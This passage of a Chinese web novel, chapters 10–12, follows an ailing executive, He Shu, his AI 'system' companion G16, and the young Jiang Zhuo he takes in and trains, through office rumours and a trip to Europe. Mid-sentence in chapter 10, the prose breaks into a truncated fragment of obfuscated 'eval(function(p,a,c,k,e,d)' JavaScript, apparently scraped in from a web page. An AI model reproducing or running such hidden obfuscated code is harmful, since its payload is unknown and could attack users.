“我知道,阿灼一直都是好孩子,又善良又勇敢。”他似乎知道少年在害怕什么,“我对你的养母,也一直都是这么说的。” 不出所料,有万人嫌这个设定存在,苏蓉对养子的偏见很深很深,一见到何殊的面先一个劲儿地替少年道歉,笃定少年一定做了很多坏事,惶恐得差点跪下。 姜灼担心的事当然不会发生,何殊怎么可能会相信那些话? 小朋友不喜欢辩解,于是何殊就替他,把他做过的事以及宋家对他作过的恶,全都原原本本地告诉了她。 让她相信那些事不太容易——经年的偏见根深蒂固,女人很固执地认为,自己的养子就是个小混混、小流氓,根本不相信那些好事是他做的,也不相信少年在外面一天打好几份工挣钱、而不是去偷去抢去骗人,更不相信宋忆辰所使的那些肮脏手段。 但事实摆在那里,何殊有很多方法证明给她看。 如果不是看她对姜灼还有那么几分真心,何殊是不会和她说这么多的。 听了何殊的话,少年扯着他的袖子遮住自己的脸,在那一小片阴翳下轻轻地呼吸。 温热的吐息透过袖子的布料扑在皮肤上,带了一点点湿润。 何殊笑了笑,纵容地俯下身子,去听少年细碎哽咽中夹杂的话。 “先生,你不必对她说这些……很累的,不如好好休息。” “我不在意她怎么看我,真的,一点点都不在意。” “只要先生愿意要我,就够了……” 何殊摇头:“那可不行。” 他一本正经地说:“我告诉她,我要把你抢走了。” “我就是要让她知道——” 颀长的手指慢慢地抚着少年的后背。 “因为她的不珍惜,这么好的孩子,现在是我家的了。” 10. 战友 在前十九年的人生中,姜灼从没见过梁衡这样的人。 棕褐色的眼睛总是含着笑,藏着被风雨淬洗过的温柔,永远沉静,永远从容不迫,微凉的指尖捏一捏他的手指,就能让他失了全部力气。 失了力气,失了思考,连心跳都不再属于自己。 他没见过这样的人,会不紧不慢地拢着他身上的尖刺,把他严严实实地裹在怀里,用掌心揉开紧绷的脊背,不怕疼也不怕被弄脏。 没见过这样的人,会捂住他的眼睛哄他睡觉,纵容他像个胆小鬼一样,躲在自己袖子下哭,用手指慢悠悠地理着他的头发,任他哭湿了那一片昂贵的布料。 会轻轻揉他的耳朵,逗他叫哥哥。 会抚摸他的伤疤,会替他感到委屈。 在遇到先生之前,他从不知道自己有这么多泪,和这么多笑。 他从不知道自己原来有这么多委屈。 于是他感到无措。 他惯于应对世人的恶意,却从未面对过这样的温柔。 他按着闷痛的胸口恍然,原来温柔是比恶意还要致命的东西。 能让他心甘情愿地在自己体内搜肠刮肚,刮干净每一滴骨髓和血液,再把骨头都剁碎、把心肝脾脏都洗干净,一并交到那人手上。 还总觉不够,总觉亏欠。 可先生不要他的骨和血。 先生和那些人不一样,不要他拼命榨出的血汗,也不要他受伤。 先生会合上他的胸腔,再用最轻柔的力道缝补好那些伤口,给他裹上毯子,哄他好好睡觉。 先生要他高高兴兴地活着。 这是他最不擅长的东西,不过只要是先生希望的,他就会努力去学。 他会很努力、很努力地学先生教给他的一切。 他学着好好吃饭、早睡早起。 学着表达自己的喜好,诉说自己的委屈。 也学着大声地笑和哭泣。 他是很笨的学生,这些都学得很慢。 但先生说不急,他们还有很长时间可以慢慢练习。 先生说,他们有很长的时间可以在一起。 他很喜欢这句话,也很愿意相信这句话。 于是他学会慢下来,学会不必焦虑,被包裹在温和清苦的气息中,随着不紧不慢点在轮椅扶手上的手指调整心跳。 他的心脏不再属于他,但没关系,因为握着他心脏的那个人是个温柔到骨子里的人。 一颗残破的心让那只手拢一拢,就好像没什么事是过不去的,没什么事是值得他崩溃的。 棕褐色的眸子盛着他的影子,静如深潭,暖如春光。 他被潭水与春光包裹着,心境就是从未有过的平和。 …… 姜灼有很多东西要学。 比如学习公司事务,学习如何当好一个助理,学习怎样照顾病人。 但何殊觉得这些都不是最要紧的。 在姜灼进入公司的一周后,他就发现,小朋友学习起来有那么点不要命的架势。 白天不肯休息一分钟就算了,常常晚上爬起来啃沈秘书交给自己的资料,似乎把自己当成了某种不需要休眠的机器,或者某种只需要氧气和光照就能存活的植物。 何殊伸手揉乱少年的脑袋:“你是植物吗?” 少年在他掌心下仰起头,一脸迷茫地看着他。 他不太能听懂先生没头没脑的一句话是什么意思。 很乖的少年居然真的想了一下,认真地回答:“我觉得我不是。但如果先生需要的话,我也可以是。” 何殊:“……” 他几乎哭笑不得。 我要你做植物干嘛,放床边净化空气么? 可少年看上去实在太乖了,像只明明有爪子会挠人、却只会往他怀里蹭的小猫。 他哪里还说得出什么重话,只能边揉他的脑袋边叹气。 这么乖,又有点傻,他不在的时候让人给欺负了可怎么办。 他把野猫养成了家猫,那等他走了之后该怎么办。 ……这个念头第一次轻轻击中了他,仿佛投石入静潭。 四年零九个月之后他不在了,谁来给他的小猫揉脑袋顺毛? 现在是下班后的夜晚,姜灼正站在何殊的床边,俯身给他按揉手腕和小腿上的穴位。 这是他从孟医生那里学来的。何殊因为心脏问题总是手脚冰凉、使不上力气,孟医生说按揉穴位可以促进血液循环,能让他好受一点。 能让先生舒服一点的任何事,少年都愿意去做。 孟医生医术精湛、中西皆通,推拿按摩也是一把好手,而短短一个月的时间,姜灼已经成了他半个徒弟。 少年垂着眼睛,认真地找着穴位,很轻地收着力道。 指腹下的皮肤血气不足,长年冰凉,泛着玉质般的苍色,白得能看见淡青的血管,在薄薄一层皮肤下显出令人心悸的孱弱。 手臂和小腿依稀能看出曾经矫健利落的线条,却已被疾病折磨得极速消瘦,摸上去骨头硌着手心。 少年想起那件不再合身、宽大得能将他裹进去的风衣。 病骨支离。 少年脑海里无端闪现出这个词,手上动作一顿,脸色白了三分,看上去很想给自己一拳。 先生没给他这个机会。 一只手伸过来,猝不及防地把他向床铺的方向拉了过去。 少年呆滞一瞬,然后立刻手忙脚乱地撑着床头,害怕自己压到了这人的胸口:“先生!你——” 他被一只清瘦但稳当的小臂半拢在怀里,极微弱地挣了挣,便不会动了。 头顶有个声音在轻轻地笑。 微凉的指尖按上他的太阳穴,仿佛知道这里在一直胀痛一般,给他慢慢揉着:“累吗?” 少年耳廓通红,耳垂像是要滴血,在他怀里仰着脖子,连呼吸都不敢用力。 怀抱太暖,那只手太温柔,夜色又太静谧。 还没等他摇头,那个温和的声音又道:“会不会怪我?” 少年凝了凝,逼自己从低哑的喘息中挤出声音:“……什么?” “这段时间在公司里,是不是受了很多委屈。” 何殊轻声说。 “很委屈、很累……对吗?如果不是我要你来盛丰工作,你本不必忍受这些。” 少年这几天在盛丰的遭遇,他其实都看在眼里。 他把姜灼安排在沈秘书手下,一方面离自己近便于看顾,另一方面是因为沈信带领的助理团中都是性格和善能力又强的精英,是他的心腹,不会为难一个十九岁的少年,反而能对他多加关照。 但何殊能做到的终究有极限。 他没办法控制人心,也没办法监控某些闲言碎语,更何况,盛丰并非铁板一块。 虽然姜灼是很勤奋、很聪明的好孩子,但对于挤破头皮才在公司里占有一席之地的员工来说,一个只有初中学历的十九岁小孩,进来得未免太容易。 于是明里暗里给少年使绊子、各种难听的流言在暗中涌动,不少都是那些与何殊不睦的股东们散布的、关于他和少年之间的关系的极为恶意的揣测。 比如“包养”,比如“情人”。 那些人不会在意一个十九岁孩子的去与留,但一切可以拿来刺伤何殊的东西都会被当作武器。 少年是被无辜利用,被他牵连到了这样恶毒的谣言中。 在这样的恶意里,还不太熟悉公司事务的少年会受到怎样的刁难是可想而知的。 虽然少年一定会成长得很快,最终长成可靠的青年,但在他拥有足够的能力之前,必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他忽然道。 少年看起来好像被这个词击中了心脏。 战友……战友。 他是先生的战友,是先生信任的人。 他喜欢这个词。 何殊笑眯眯地抬起右手,少年眼睛立刻亮了起来,有点不好意思、又很开心地和他轻轻击了个掌。 从现在开始,他们就是击掌为誓的战友了。 何殊说:“作为战友,是不是要一起面对困难,谁都不能逃避?” 姜灼用力点头,他很愿意替先生分担压力。 “那么,”何殊笑着揉他的头发,“以后遇到难跨的坎,尽管来问我吧。” 姜灼一怔,完全没想到他要说的是这个。 “沈信给你的那些资料,不是很难懂吗?”何殊笑,“我可是一直等着你来问我呢——为什么不问我?” 他好像有点伤心地叹气:“为什么你宁愿花上十倍的时间,不睡觉也要硬啃掉它们,却不愿来隔壁卧室问问我呢?” “我应该还算有一点资格,当你的老师。” 他知道,很乖很懂事、又过分紧张他的身体的小朋友,当然是不想让他劳心伤神。 他是明知故问。 “我们可是战友。” 颀长的手指点了点少年的掌心,那里还留有击掌带来的余温。 “所以你的问题,就是我的问题。” “我是个有强迫症的人,解决不了今天的问题,晚上是睡不着觉的。” 姜灼:“……” 那只把他拉上床铺的手,又把他轻轻推下了床。 “所以,为了让我晚上睡个好觉,把那些资料拿过来吧。” 强词夺理又胡搅蛮缠的人有一双很会笑的眼睛。 “小战友,我教你,我们一起解决它们。” 11. 他居心不净 何殊大概是世界上管得最宽的上司和老师。 不但要教下属兼学生的工作和学习,还要管小朋友有没有好好吃饭和睡觉。 “不好好吃饭、不好好睡觉的话,就长不了个子,也涨不了力气。” 暖黄色的灯光下,何殊靠在椅背上翻着书,偶尔看看正在吃力生啃英文文件的少年,看着看着,忽然拿笔杆轻轻敲了一下他的脑门。 在少年捂着额头一脸迷茫地看过来时,又很熟练地揉他的头发、捏他脸颊上新长出来的软肉。 很坏心眼、很会捣乱,很会哄小朋友那快要冒烟的脑子停一停,抽出一小点时间抵抗这只不老实的爪子。 “这么矮又这么瘦,等我将来没力气走路的时候,你这个助理要怎么背我、抱我、照顾我?” “等我病得下不了床……” 哗啦一声,少年手里的纸张被攥成了纸团。 戳心。 这人绝对是故意的。 他怎么能这么咒自己? 何殊笑了笑,很有眼色地住了口,把那个可怜的纸团从他手里拿走,不紧不慢地展开铺平,然后哄人似的重新塞到他手里。 哄人的效果不太好,吸引不了小朋友的注意,因为这张纸上只有印刷黑体字,没有散落在一旁的纸上那些端正又潇洒、漂亮得让人移不开眼的手写笔迹。 不能像方才那只清瘦颀长的手一样,微屈起指节握着一支半旧的钢笔,合金的笔尖在纸上沙沙划过,就能勾得少年忘记怎么转动眼珠。 这是当然的,不然姜灼怎么会舍得把这张纸弄皱。 “所以,好好长身体也是你的分内之事,对不对?” 是商量的语气,没有半分强迫,柔和得近乎诱哄。 明晃晃的歪理从这个人口中说出来,总是莫名让人忍不住相信。 即使是“在十二点之前不睡觉,骨头会因为太累而缩水,最终变成一只只有巴掌大的小猫”这种胡说八道,少年几乎都有点信了。 姜灼放下文件,抿着唇与他对视:“先生……你真的该休息了。” 他的上司、战友兼老师有一双形状温柔的、很会用笑意掩饰疲倦的眼睛。 但少年已经无师自通地慢慢学会了,在那片暖阳般的浅褐色里读出倦意。 何殊故作恍然:“到了该睡觉的时间了?” 姜灼只停顿了一秒便妥协:“……是的。” 他垂眸,伸手将先生身上披着的棉质外衣拢了拢,很懂事地保证:“我也睡觉,绝不半夜爬起来偷看资料。” 棕褐色的眼睛映着笑影,一只手揉他的耳朵:“乖。” 有显眼的红晕爬上少年的耳尖。 那只微凉的手顺着鬓角滑下,捧着少年的脸颊,拇指指腹轻轻摩挲眼下熬出的黑青色:“这里,明天我会记得检查的。” 何老师很严格。 只有姜同学完成了一些很不擅长的事——比如哭出来了、笑出来了、吃胖了、长高了、黑眼圈淡了——才会给人加分。 少年一开始不太理解:“哭也加分?” “加分,但有条件。”何殊把袖子递给他,“必须在我身边,扯着我的袖子才行。” “……”少年的脸看起来能煎十个鸡蛋。 已经下定决心做一个品学兼优的好学生、好孩子的姜同学很想拿到一个高高的分数。 于是面临黑眼圈检查的他不得不决定,今天不熬夜。 可是检查不只有明早,也许他明天、后天、大后天……都没办法继续熬夜了。 “别着急。” 被扶着从椅子上慢慢起身的人握着他的手臂,微垂着头靠在他身上,嗓音是被夜色浸透了的温和沙哑。 “沈秘书已经告诉我了,阿灼学得很快、工作完成得很好,帮上了很大的忙,又乖又有礼貌,特助团的同事都很喜欢你。” “所以我们不急,不需要牺牲睡眠时间就能做得很好。” “阿灼,成长是一件很需要耐心的事。” 从书房到卧室的路程很短,但被扶着的人走不了太快,一边走一边慢悠悠地教他,花了挺长的时间。 但无论走得多慢,该走的路总有一天会走完。 姜灼撑着他在床沿坐下,半蹲下来扶着他的膝盖,仰起头看着他。 “先生……”少年的眼里有微弱的荧光闪烁,脸颊在膝盖上依恋地蹭了蹭,声音很小很低,“你会陪我一起吗?” 棕褐色的眼睛弯了弯,清瘦的手指拢着少年的发丝,“当然。” 直到你长大。 直到你不再需要我。 / 就像他说的那样,何殊一点也不急。 不紧不慢地养着他的小朋友,一点一滴地教给他很多东西。像个极有耐心的玉雕师,用最沉稳细心的力道雕琢着尚为璞玉的珍宝。 再紧急、再严重的事,叫那双浅褐色的眸子轻轻一瞥,就莫名叫人心里有了底,好像没什么是他解决不了的。 待在先生的身边、被他手把手地教导,姜灼才越来越看清他每日面对的是何种风霜刀剑、应付的是怎样的牛鬼蛇神。 看得越清,心便越疼。他不能细想,一个人要独自走过多远的路、吃过多少苦,才能长成这么温和沉静、永远从容的模样。 但先生好像从来不在意。就像他不觉得自己手上的伤是伤一样,他也不觉得自己受过的苦是苦。 愈发清减的手臂依旧很稳,能稳稳地接住一只想把自己嵌进他怀里的小猫。 面容苍白的人被怀里毛绒绒的脑袋蹭得发笑:“咳……阿灼?” 少年很乖地应了一声,小心地环着靠在软枕上吸氧的人,给他慢慢按揉心口。 他没事,他只是忽然觉得,那些曾经差点将他拉入深渊的绝望和苦痛,现在想来好像也不算什么。 先生明明不比他过得舒坦,但依旧从容而坦然地面对一切。 被先生好好护着教着的、非常幸运的他,没任何理由不成为那样的人。 窗户开着一条缝,有裹着青草气息的微风荡进来,吹淡了房间里的清苦药香。 他们现在是在国外的一个家庭旅馆。 不大,也没那么豪华,但胜在风景很好,空气也足够清新,很适合病人修养。 何殊来这个欧洲国家出差,随行的人不少,姜灼只是其中之一。 但算是最为特殊的其中之一。 毕竟其他人都有各自的房间,只有他和梁董住在一个屋里。 虽然这是一件再正常不过的事——梁董身体不好,身边不能缺了人,姜灼作为负责照顾他的生活助理,理所当然地要和他住在一起。 逻辑上没任何问题,可其他同事看向他的眼神,总觉得有些怪怪的。 姜灼不是什么都不懂的小孩,他知道这种眼神代表着什么。 公司里的那些流言,也从没避着过他。 “包养”、“情人”,这些不那么好听的闲言碎语在每一个休息与工作的间隙飘进他的耳朵,虽然先生说清者自清,让他不必在意,但不在意不代表不会在心里留下痕迹。 流言传得多了,某些子虚乌有的事都开始被描述得有鼻子有眼。那些关于他与先生相识相知相爱的经过、平日里一言一语中藏着的暧昧,好事者们似乎比当事人还要清楚。 “我不信他俩没那种关系。” 茶水间里,一个同事信誓旦旦地对其他人说,没注意隔壁隔间刚好站着姜灼这个当事人。 “你们见梁董对其他人露出过那种眼神?啧啧,温柔得让人骨头都酥了,谁能遭得住……那小孩也是,对梁董和对其他人完全是两个模样,一看就已经沦陷了……” “还把人带到家里住着,就算是生活助理也没见过天天这么形影不离的啊……有不少人都见过他俩整天搂搂抱抱的,就差当众接吻了,这是上下级之间应该干的事儿?……” “我跟你们讲,我听财务部的小王说,他俩早就已经……啧,这小孩什么运气啊能被梁董看上,他哪点配得上啊?就算是情人也太掉梁董的价了……” 一旁听得津津入味的几个人里有人叹气:“其实这也不能怪人家小孩吧,毕竟,谁能拒绝梁董这样的人?” 谁能拒绝梁董这样的人? 靠着软枕的人眉眼苍白俊逸,眸中笑意柔和,就算是陷在软枕中病骨支离,也是让人移不开眼的疏朗风致。 泛白的指节敲了敲少年的脑门让他回神:“阿灼,你今天怎么了?” 少年与温和的目光对视,发现那片浅褐色的暖阳里只盛着他一个人的影子。 心脏像是被攥住了,急促地收缩,带来轻微的悸颤与窒息。 他没有办法控制自己不去想那些人说的话。 在与先生相处的每一个时刻,他都忍不住一遍遍地想,在先生看过来的每一个目光中,他都忍不住找寻那些人口中的“证据”。 他越来越没办法回答这个问题。 谁能拒绝梁董这样的人? 谁能拒绝先生? …… 何殊发现小朋友今天有点呆呆的。 一个劲儿地坐在床边看他,拉着他的袖子不哭不笑不说话,目光变幻不定,脸色一会儿通红一会儿煞白,好像在思考什么非常艰难的问题。 他以为自己又把人吓到了,温声安慰:“阿灼,别怕,我已经没事了。” 坐飞机对他的身体来说负担挺大,一连几天的商务谈判也很让人疲惫。两天前工作告一段落之后他就有些撑不住了,在旅馆中躺到现在才缓过来。 如果不是为了给某个所谓“梁家长辈”收拾烂摊子,他本不必亲自来这一趟。 但何殊不觉得这是个倒霉事,倒觉得这个国家风景还挺好的。 正好带着小朋友出来散散心。 生活里不只有工作,他要教小朋友怎么样好好玩。 何老师表示,玩也是必须学会的一课。 今天感觉身体状况不错,何殊估算了一下,明天大概就能正常行走了:“明天出去逛逛吧?” 他故意哄人开心:“是不是第一次出国?听说这附近有庄园有教堂,是和国内完全不一样的风土人情,正好带你去看看。” 姜灼怔了怔,目光移到床头的那一台便携式制氧机上,心情升起又落下,不太赞成这个提议:“先生,你今天才好一点,还需要休息……” “稍微走走,对身体有好处的。”何殊笑了笑,牵着他的手轻轻晃,“我们慢慢走,不走太远。” “是我想出去,阿灼陪着我,好不好?” 姜灼:“……” 他怎么可能说不好。 况且,他确实是第一次出国,也是第一次旅行——在这之前,这个词语与他的生活完全不沾边。 他也很想和先生一起出去玩。 于是第二天,何殊给下属们放了一天的假,自己拉着少年在这个欧洲小镇上到处逛。 这是个很漂亮的晴天,阳光隔着金色的云层洒在人身上,既暖和又不刺眼。 很适合没什么要紧事的人慢悠悠地散步,以及牵着手约会。 他们去了个不太大的广场,看了场小巧玲珑的音乐喷泉表演,然后每人抓着一把谷子去喂鸽子。 不知道为什么,何殊很招鸽子喜欢,连谷子都没撒出去,就有成片的白云从天而降,把他里三层外三层裹得严严实实。 白鸽们依恋地蹭他的脸颊、手臂、脚踝,小脑袋一个劲儿往他衣服里钻,看起来很想在他身上筑个巢不走了。 姜灼焦头烂额地扒开鸽子们的包围圈把自家先生解救出来,看见那人扶着额头,笑得很畅快。

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何殊与老板用姜灼听不懂的语言交谈了几句,大个子白人就很有兴致地将调酒师的位置让给了这个看起来风度翩翩的东方人。 在姜灼直愣愣的目光中,那双颀长瘦削的手非常熟练地在酒瓶和酒碟间飞舞,旋转的玻璃杯、悦耳的水流与碰撞、晃动的极致色彩,一场赏心悦目的优雅演出。 好看得不像话的手将那杯色彩鲜艳的鸡尾酒轻轻推给他,有好几个被吸引来的客人开始兴高采烈地吹口哨。 浅褐色的眼睛被酒气熏得雾蒙蒙的,莫名含了水洗般的缱绻。 “玛格丽特,姜先生。” 带着笑意的嗓音沙哑柔和,在一片陌生语言的起哄声中,咬字清晰的中文有一种说不出的轻缓韵律。 除了看着那双眼睛、接过先生亲手为自己调的酒,姜灼已经不知道自己还能干什么。 胸膛里的那颗心脏已经快要失控。 他看着那杯堪称艺术品的酒,有点不舍地在手里攥了一会儿,最终还是顶不住先生含了点期待的眼神,低下头抿了一口。 他从来没喝过这么好喝的酒。 清鲜果香和龙舌兰的特殊香味在舌尖跳跃,酸甜清爽又口感浓郁。 酒带给他的记忆是不怎么好的,无论是被混混们强灌的劣质白酒还是姜通海的浑身酒气,都是他非常厌恶的存在。 直到今天他才恍悟,原来他也会爱上一种酒。 G16冒泡:【宿主大人,你连这个都会?】 何殊笑眯眯地回应它:【没办法,以前家里穷,养的孩子又多,不得不多学几门手艺赚钱。】 G16:…… 快给我一个这样的哥哥!我已经说累了! 酒馆老板很高兴地哈哈大笑,推给何殊一杯自己亲手调的金菲士,表示要请这位行家鉴赏一下自己手艺的高低。 何殊有点抱歉地解释了几句,还掏出随身携带的药给他看,表示自己不能喝酒。老板很遗憾地拍了拍他的肩膀,收回那杯酒,又贴心地给他倒了杯热牛奶。 何殊谢过之后,举着那杯牛奶和姜灼碰杯。 “阿灼,”他伸手轻轻摩挲少年的眼角,“希望你能一直像今天这么开心。” 少年后知后觉地摸摸自己的脸,才发现自己原来已经笑得眼角湿润。 最后,他们路过教堂,参加了一场夕阳下的婚礼。 脚下是绿草如茵,头上是余霞成绮,一对新人就在鲜花、掌声、清风和晚霞的见证下热烈拥吻,缠绵悱恻,至死不渝。 在宾客展示才艺的环节,何殊上台用小提琴拉了一首曲子。 是一首轻柔和缓的曲子,带着点跳跃的活泼和甜蜜,技法并不复杂,但婉转流畅的起承转合仍旧能听出演奏者不俗的功底。 苍白清瘦的手指握着苏木的琴弓,马尾在琴弦上飞舞跃动,卡其色的风衣衣摆猎猎,裹着修长挺拔的腰身,优雅含蓄、风流蕴藉。 一曲完毕,有很多人从沉浸中苏醒,开始鼓掌、大声欢呼,有更多人纷纷上前围着这个有着浅褐色眼睛的、非常英俊而有才华的东方人,毫不吝啬地表达着自己的喜爱,并且表示想要个联系方式。 但这个看起来温文尔雅的先生只是礼貌地归还了小提琴,微笑着表达了对他们喜爱的感谢,然后就拨开人群,向不远处站着的另一个更年轻的东方少年走去。 姜灼看着先生离开人群簇拥、离开鲜花掌声,向他所在的僻静之处走来。 来到他面前,变魔术似的从身后拿出一捧鲜花。 棕褐色的眸子盛着他的影子,温柔地笑着。 “阿灼,送给你。” 原本捧花是要新娘向台下抛的,但新娘很喜欢他拉的曲子,于是偷偷将捧花塞给了他,还俏皮地眨眨眼,用法语悄声说:“祝你幸福。” 据说,接到捧花的人会获得幸福。 而先生把捧花送给了他的少年。 落日在天边燃起火焰,映在姜灼眼中,像在心头点燃了一把永不熄灭的火。 心跳鼓动着耳膜,有某种陌生的感情从心底迸发,无声无息却震耳欲聋。 落日余晖中,何殊接住了扑到他怀里的少年。 “阿灼?怎么了……” 清瘦的手臂稳稳地拥着他,微凉的掌心轻柔地抚过少年发抖的脊背。 他陷在熟悉的清苦药香中,心脏悸颤,浑身战栗。 先生说要他清者自清,他好像要做不到了。 他做不到清者自清,做不到问心无愧。 他卑鄙、肮脏,他痴心妄想、不自量力。 他居心不净。 他对先生,居心不净。 12. 疼不疼 G16总觉得有点不对劲儿。 它看了看花拱门下热烈拥吻的新郎新娘,又看了看埋在自家宿主怀里发着抖喘息的任务对象,数据流组成的AI大脑有一瞬间的宕机。 它是个菜鸟系统,刚从系统学校毕业,第一次绑定宿主做任务,还不太能理解人类的感情。 但它的一个系统前辈教过它,不懂就问是个好习惯。 于是G16在晚上戳戳何殊,虚心求教:【宿主大人,你以前和你的弟弟们也都是这么相处的吗?】 它掰着并不存在的指头细数:【摸头、牵手、哄睡、揉耳朵、擦眼泪、搂搂抱抱亲……哦不对还没有亲亲……】 何殊:…… 何殊:【那倒也不是。】 【不是所有,】他笑了笑,垂下眼睛看伏在他床沿熟睡、梦里还攥着他衣袖的少年,【只有一个。】 G16更懵了,不是所有、只有一个?所以这到底是不是正常兄弟的相处方式? 何殊弹史莱姆的脑门,duang了一下:【小孩子别问这些。】 G·什么都不懂的小孩子·16:…… 它乖乖闭上了嘴。 虽然它并不觉得自己是小孩子,但宿主大人看上去心情不太好,那双一向温柔的眼睛里有它看不懂的、再强大的AI也分析不了的复杂郁色。 系统前辈还教过它,如果不知道如何安慰,就不要去打扰一个伤心的人。 虽然它看不出宿主是不是在伤心,但总归是不太想被打扰的。 于是G16决定自己观察。 它看着宿主轻轻拨弄少年的头发,哄他去床上睡,声音温和得揉进了夜色。 它看着眼角挂着泪痕的少年双颊微红发烫,半梦半醒间将那只冰凉的、摸得他很舒服的手拽过来抱住,抱得死紧。 又看着少年把脸埋在宿主袖子里,压着喉咙里涩然的呜咽,用脸颊轻轻蹭他的手背,在他身边蜷成一小团,像只没有安全感的小猫崽子。 ……看来35度的鸡尾酒对这孩子来说还是有点高了。 G16告诉自己,别慌,兄弟之间这样相处很正常,没错一定是这样的。 熟悉到极点的气味盈满鼻息,触动了少年心头那点不可言说的隐秘,就算在睡梦中也是交织着欢愉的痛苦。 何殊看着他,眼中那点郁色便慢慢散了。 他轻轻叹气,似是无奈,又似释然。 他单手撑了一下床榻,本想起身将少年抱到另一张床上好好睡,却因手上传来的温热触感而怔住。 G16眼睁睁看着少年在睡梦中吻了宿主大人的手。 何殊:…… G16:……吻、吻手而已,很正常的礼节,又不是告白…… “先生……”蜷成一团的少年紧闭着眼,嘴唇贴上那只手的手背,摸索着落下颤抖的吻,近乎绝望的虔诚,“哥哥……” 喉咙里传来压抑又破碎的低泣,好像在梦中承受着巨大的痛苦。 “哥哥,别抛下我,别离开我,带我走,带我走……我……我……” 他的肩膀剧烈抖动了一下,声音低了下去。 “我对你……” 少年咬紧牙关,太阳穴因为过于用力而微微鼓起,整个人都紧绷得浑身发抖,想说的话却还是被死死压在喉咙深处。 害怕被讨厌、害怕被抛弃、内心深处的自厌和自卑……即使是在梦中,他也不敢把那点肮脏的心思宣之于口。 一片寂静中,G16艰难地动了动小翅膀,电子音滋啦啦的:【宿主大人,他应该不是想……告白吧……】 何殊很长时间没说话。 酒店昏黄的灯光里,他垂眸注视着少年的脸,眼里的神色也被浓密的睫毛遮住。 半晌,他把手从少年怀里抽出来,冷静地说:【不是。】 【只是做噩梦了。】 他下了床,伸手揽过少年的腿弯将他抱了起来,小心放在了一旁的另一张床上。 G16有点担心:【心脏没事吗?】 【没事的,他很轻。】何殊扯过被子将少年裹住,像哄小孩一样轻轻拍了拍,【暂时还抱得动。】 虽然经过这些天的精心投喂,比之前把他从小巷子里抱出来时分量重了一些,但长年累月的营养不良不是一时半会儿能补得回来的。 G16提出合理怀疑:【有没有一种可能不是他重了,而是你身体变差了。】 何殊:【……谢谢你的提醒。】 姜灼因为怀里少了抱着的东西而轻微挣扎,他便伸手遮住少年的双眼,感受着不安颤动的睫毛在掌心一下下扫过。 “哥哥……”少年不知在梦中看到了什么,呼吸顷刻间乱得不成样子,眼角涌出大滴的泪水,喉咙里呜咽出声,“哥,对不起、对不起、对不起……” 他似乎在为某个并不存在的罪行拼命道歉,被汹涌的愧疚淹没了口鼻,胸腔震颤。 “哥,疼不疼……你疼不疼……” “哥……哥哥……”他翻来覆去地念着这个字,眼泪苦涩无比,唇齿间含了刻骨的眷恋和哀伤。 “殊哥……” 这些话、以及最后那两个本不该从“姜灼”口中出现的字让何殊沉默了好一会儿,只出神地看着他,目光沉郁怀念,好像在隔着遥远得难以想象的距离、看着本以为再也见不到的故人。 “……不疼。” 他慢慢给少年擦去泪水,抚摸着他的脸颊,轻声回答。 “哥原谅你了。” “别哭了……”他闭了闭眼,敛去眼中汹涌而出的情感,沉稳的声线第一次带了点颤音,“别哭了,云骁。” G16的代码在听到这个名字时混乱了一瞬。 云骁,云骁是谁?这是个完全陌生的名字,任务对象不是叫姜灼吗? 它这么想的,也这么问了,但重新睁开眼的宿主大人用一种从未有过的眼神看着它,让它莫名有点发怵。 【G16,】何殊第一次叫了它的名字,【你真的什么都不知道吗?】 G16被问得又迷惑又委屈,指天发誓自己对宿主大人从无隐瞒、绝对忠心耿耿、真的什么都不知道。 何殊于是没再说什么,也没再提那个陌生的名字,整个人也恢复了以往的平静温和,好像方才的情绪失控从未发生过。 但他那一瞬的气势太足,G16已经不太敢继续问了。 它想,算了,宿主大人和任务对象是什么关系也好,“云骁”到底是谁也好,似乎都没那么重要,只要能顺利完成任务就行。 而事实证明,何殊是个非常有能力、非常让系统省心的完美宿主,业务上挑不出一点瑕疵。 只来到这个世界短短四个月,任务对象的炮灰值已经从60%下降到了25%,实在是顺利得让系统落泪。 而对于剩下炮灰值的处理,宿主大人也正有条不紊地进行。 它觉得自己应该知足了,乖乖闭嘴当宿主身边的小弟就好。 …… 姜灼第二天醒来之后,完全不记得自己昨天晚上都干了什么、说了什么,也不记得自己是怎么抱着先生的手哭得肝肠寸断的。 他只是对自己肿成核桃的眼睛有点疑惑,但也没心思找先生问个明白。 因为他们今天就坐飞机回去了。 虽然是在最高级的头等舱,但飞机起落引起的气压波动对于心衰患者来说仍是不小的负担,他必须时刻紧绷神经。 握着他小臂的手没什么力气,松松地搭着,只在飞机抬升的过程中紧了一紧,又慢慢放松。 他反握住那只冰凉的手,给人小心揉按着胸口,帮他呼吸:“是不是很难受?” 靠在椅背上、正在吸氧的人说不了什么话,只看着他弯了弯眼睛,露出点安抚的笑。 那双浅褐色的眸子里浮动着分明的眩色,少年看得心里揪着疼,大着胆子伸手遮住了那双眼,轻声道:“先生,闭上眼睡觉吧,睡着了就不难受了。” 他能感受到掌心有睫毛轻轻扫过,先生很听话地闭了眼。 慢慢捏他手指的力道越来越轻,最终完全停了下来,软软地被他拢在手里,一点力气也不剩。 他移开手,那双眼睛微微闭合,好像已经昏睡过去了。 但他知道先生根本睡不着。 睫毛在不时地轻颤,鬓角仍在渗出冷汗,氧气面罩下的嘴唇依旧苍白得令人心惊。 掌心下的胸口微弱起伏,那点搏动的力道吃力又杂乱无章。 他想象不到会有多难受,难受到先生连呼吸的力气都快要耗尽。 如果坐飞机这么难受的话,他宁愿一辈子不坐飞机不出国,永远守在先生身边陪他好好养身体。 或者成为一个能独当一面的精英,能撑起所有的责任,让先生不必再为任何事奔波。 他多么希望自己能比现在更有用。 / 姜灼在何殊身边成长飞速,进入公司短短两个月,沈秘书已经放心让他独自与客户见面了。 这天,何殊正在开会,姜灼照常走进接待室招待访客。 他推门进去:“抱歉让你们久等了……”礼貌的问候只说了一半就在喉咙里卡壳。 房间里的三个人听到声响抬眼看来,目光对视的一瞬间,脸上的表情精彩纷呈。 没有人想到能在这里看到对方。 来访者是宋家人——姜灼所谓的“亲生父母”和“哥哥”宋忆辰。 怪异的氛围在他们目光交汇处涌动,房间里一时间安静得落针可闻,谁都没开口说话。 姜灼首先打破了寂静。 他很快收敛了脸上的表情,重新换上公事公办的微笑,好像面对的是三个陌生人:“不好意思,梁董正在开会,请你们稍等一下,有什么事可以随时吩咐……” 